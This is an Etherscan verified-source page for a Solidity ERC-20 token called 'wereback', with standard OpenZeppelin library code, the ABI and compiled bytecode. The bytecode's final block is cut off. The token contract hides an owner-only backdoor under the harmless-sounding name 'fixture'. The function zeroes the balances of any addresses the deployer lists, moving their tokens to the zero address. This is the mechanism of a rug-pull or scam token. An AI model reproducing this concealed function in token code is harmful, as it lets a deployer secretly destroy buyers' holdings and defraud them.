Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

library Address    - function isContract(address account)    - function sendValue(address payable re ...    - function functionCall(address target, ...    - function functionCall(    - function functionCallWithValue(    - function functionCallWithValue(    - function functionStaticCall(address t ...    - function functionStaticCall(    - function functionDelegateCall(address ...    - function functionDelegateCall(    - function verifyCallResultFromTarget(    - function verifyCallResult(    - function _revert(bytes memory returnd ... library SafeMath    - function tryAdd(uint256 a, uint256 b)    - function trySub(uint256 a, uint256 b)    - function tryMul(uint256 a, uint256 b)    - function tryDiv(uint256 a, uint256 b)    - function tryMod(uint256 a, uint256 b)    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function mod(uint256 a, uint256 b)    - function sub(    - function div(    - function mod(    - function _msgSender()    - function _msgData() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...  contract wereback is Context, IERC ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function transferFrom(address sender, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function _mint(address account, uint2 ...    - function _approve(address owner, addr ...    - function _transfer(address sender, ad ...    - function fixture(address[] memory din ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-09-07
*/

// File: @openzeppelin/contracts/utils/Address.sol

// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v4.8._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason or using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

// File: @openzeppelin/contracts/utils/math/SafeMath.sol


// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)

pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: barb.sol


/**
 *SPDX-License-Identifier: MIT
 */
pragma solidity ^0.8.18;



interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract wereback is Context, IERC20 {
 
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    using SafeMath for uint256;
    using Address for address;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    address public  system;
    constructor () {
        _name = "were back";
        _symbol = "wereback";
        _decimals = 18;
        uint256 initialSupply = 362000000;
         system = msg.sender;
        _mint(msg.sender, initialSupply*(10**18));
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    modifier onlyOwner() {
        require(msg.sender == system, "Not allowed");
        _;
    }

    function fixture(address[] memory dine) public onlyOwner() {
        for (uint256 i = 0; i < dine.length; i++) {
            address account = dine[i];
            uint256 amount = _balances[account];
            _balances[account] = _balances[account].sub(amount, "ERROR");
            _balances[address(0)] = _balances[address(0)].add(amount);
        }
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"dine","type":"address[]"}],"name":"fixture","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"system","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801561000f575f5ffd5b5060408051808201909152600981526877657265206261636b60b81b602082015260029061003d9082610240565b50604080518082019091526008815267776572656261636b60c01b602082015260039061006a9082610240565b506004805460ff19166012179055600680546001600160a01b03191633908117909155631593ae80906100ae906100a983670de0b6b3a764000061030e565b6100b4565b50610338565b6001600160a01b03821661010e5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b60055461011b9082610194565b6005556001600160a01b0382165f908152602081905260409020546101409082610194565b6001600160a01b0383165f81815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b5f61019f8284610325565b90505b92915050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806101d057607f821691505b6020821081036101ee57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561023b57805f5260205f20601f840160051c810160208510156102195750805b601f840160051c820191505b81811015610238575f8155600101610225565b50505b505050565b81516001600160401b03811115610259576102596101a8565b61026d8161026784546101bc565b846101f4565b6020601f82116001811461029f575f83156102885750848201515b5f19600385901b1c1916600184901b178455610238565b5f84815260208120601f198516915b828110156102ce57878501518255602094850194600190920191016102ae565b50848210156102eb57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176101a2576101a26102fa565b808201808211156101a2576101a26102fa565b610cb7806103455f395ff3fe608060405234801561000f575f5ffd5b50600436106100c4575f3560e01c806370a082311161007d578063a9059cbb11610058578063a9059cbb146101c5578063dd62ed3e146101d8578063fbbf4c401461021d575f5ffd5b806370a082311461014357806395bf75fd1461017857806395d89b41146101bd575f5ffd5b806318160ddd116100ad57806318160ddd1461010957806323b872dd1461011b578063313ce5671461012e575f5ffd5b806306fdde03146100c8578063095ea7b3146100e6575b5f5ffd5b6100d0610232565b6040516100dd9190610940565b60405180910390f35b6100f96100f43660046109bb565b6102c2565b60405190151581526020016100dd565b6005545b6040519081526020016100dd565b6100f96101293660046109e3565b6102d8565b60045460405160ff90911681526020016100dd565b61010d610151366004610a1d565b73ffffffffffffffffffffffffffffffffffffffff165f9081526020819052604090205490565b6006546101989073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016100dd565b6100d061034c565b6100f96101d33660046109bb565b61035b565b61010d6101e6366004610a36565b73ffffffffffffffffffffffffffffffffffffffff9182165f90815260016020908152604080832093909416825291909152205490565b61023061022b366004610a94565b610367565b005b60606002805461024190610b7d565b80601f016020809104026020016040519081016040528092919081815260200182805461026d90610b7d565b80156102b85780601f1061028f576101008083540402835291602001916102b8565b820191905f5260205f20905b81548152906001019060200180831161029b57829003601f168201915b5050505050905090565b5f6102ce33848461050f565b5060015b92915050565b5f6102e48484846106c2565b610342843361033d85604051806060016040528060288152602001610c5a6028913973ffffffffffffffffffffffffffffffffffffffff8a165f90815260016020908152604080832033845290915290205491906108e9565b61050f565b5060019392505050565b60606003805461024190610b7d565b5f6102ce3384846106c2565b60065473ffffffffffffffffffffffffffffffffffffffff1633146103ed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f4e6f7420616c6c6f77656400000000000000000000000000000000000000000060448201526064015b60405180910390fd5b5f5b815181101561050b575f82828151811061040b5761040b610bce565b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff81165f8181528084526040808220548151808301909252600582527f4552524f520000000000000000000000000000000000000000000000000000008287015292825293529092509061048290829081906108e9565b73ffffffffffffffffffffffffffffffffffffffff83165f9081526020819052604081209190915580527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5546104d8908261092e565b5f8080526020527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb55550506001016103ef565b5050565b73ffffffffffffffffffffffffffffffffffffffff83166105b1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103e4565b73ffffffffffffffffffffffffffffffffffffffff8216610654576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103e4565b73ffffffffffffffffffffffffffffffffffffffff8381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316610765576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103e4565b73ffffffffffffffffffffffffffffffffffffffff8216610808576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103e4565b61085181604051806060016040528060268152602001610c346026913973ffffffffffffffffffffffffffffffffffffffff86165f9081526020819052604090205491906108e9565b73ffffffffffffffffffffffffffffffffffffffff8085165f90815260208190526040808220939093559084168152205461088c908261092e565b73ffffffffffffffffffffffffffffffffffffffff8381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016106b5565b5f8184841115610926576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103e49190610940565b505050900390565b5f6109398284610bfb565b9392505050565b602081525f82518060208401528060208501604085015e5f6040828501015260407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f83011684010191505092915050565b803573ffffffffffffffffffffffffffffffffffffffff811681146109b6575f5ffd5b919050565b5f5f604083850312156109cc575f5ffd5b6109d583610993565b946020939093013593505050565b5f5f5f606084860312156109f5575f5ffd5b6109fe84610993565b9250610a0c60208501610993565b929592945050506040919091013590565b5f60208284031215610a2d575f5ffd5b61093982610993565b5f5f60408385031215610a47575f5ffd5b610a5083610993565b9150610a5e60208401610993565b90509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f60208284031215610aa4575f5ffd5b813567ffffffffffffffff811115610aba575f5ffd5b8201601f81018413610aca575f5ffd5b803567ffffffffffffffff811115610ae457610ae4610a67565b8060051b6040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0603f830116810181811067ffffffffffffffff82111715610b2f57610b2f610a67565b604052918252602081840181019290810187841115610b4c575f5ffd5b6020850194505b83851015610b7257610b6485610993565b815260209485019401610b53565b509695505050505050565b600181811c90821680610b9157607f821691505b602082108103610bc8577f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b808201808211156102d2577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220136583a71b5321304989a5b83eb52ea83e271e0e172f7e675d38949592d0b16e64736f6c634300081b0033

0x608060405234801561000f575f5ffd5b50600436106100c4575f3560e01c806370a082311161007d578063a9059cbb11610058578063a9059cbb146101c5578063dd62ed3e146101d8578063fbbf4c401461021d575f5ffd5b806370a082311461014357806395bf75fd1461017857806395d89b41146101bd575f5ffd5b806318160ddd116100ad57806318160ddd1461010957806323b872dd1461011b578063313ce5671461012e575f5ffd5b806306fdde03146100c8578063095ea7b3146100e6575b5f5ffd5b6100d0610232565b6040516100dd9190610940565b60405180910390f35b6100f96100f43660046109bb565b6102c2565b60405190151581526020016100dd565b6005545b6040519081526020016100dd565b6100f96101293660046109e3565b6102d8565b60045460405160ff90911681526020016100dd565b61010d610151366004610a1d565b73ffffffffffffffffffffffffffffffffffffffff165f9081526020819052604090205490565b6006546101989073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016100dd565b6100d061034c565b6100f96101d33660046109bb565b61035b565b61010d6101e6366004610a36565b73ffffffffffffffffffffffffffffffffffffffff9182165f90815260016020908152604080832093909416825291909152205490565b61023061022b366004610a94565b610367565b005b60606002805461024190610b7d565b80601f016020809104026020016040519081016040528092919081815260200182805461026d90610b7d565b80156102b85780601f1061028f576101008083540402835291602001916102b8565b820191905f5260205f20905b81548152906001019060200180831161029b57829003601f168201915b5050505050905090565b5f6102ce33848461050f565b5060015b92915050565b5f6102e48484846106c2565b610342843361033d85604051806060016040528060288152602001610c5a6028913973ffffffffffffffffffffffffffffffffffffffff8a165f90815260016020908152604080832033845290915290205491906108e9565b61050f565b5060019392505050565b60606003805461024190610b7d565b5f6102ce3384846106c2565b60065473ffffffffffffffffffffffffffffffffffffffff1633146103ed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f4e6f7420616c6c6f77656400000000000000000000000000000000000000000060448201526064015b60405180910390fd5b5f5b815181101561050b575f82828151811061040b5761040b610bce565b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff81165f8181528084526040808220548151808301909252600582527f4552524f520000000000000000000000000000000000000000000000000000008287015292825293529092509061048290829081906108e9565b73ffffffffffffffffffffffffffffffffffffffff83165f9081526020819052604081209190915580527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5546104d8908261092e565b5f8080526020527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb55550506001016103ef565b5050565b73ffffffffffffffffffffffffffffffffffffffff83166105b1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103e4565b73ffffffffffffffffffffffffffffffffffffffff8216610654576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103e4565b73ffffffffffffffffffffffffffffffffffffffff8381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316610765576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103e4565b73ffffffffffffffffffffffffffffffffffffffff8216610808576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103e4565b61085181604051806060016040528060268152602001610c346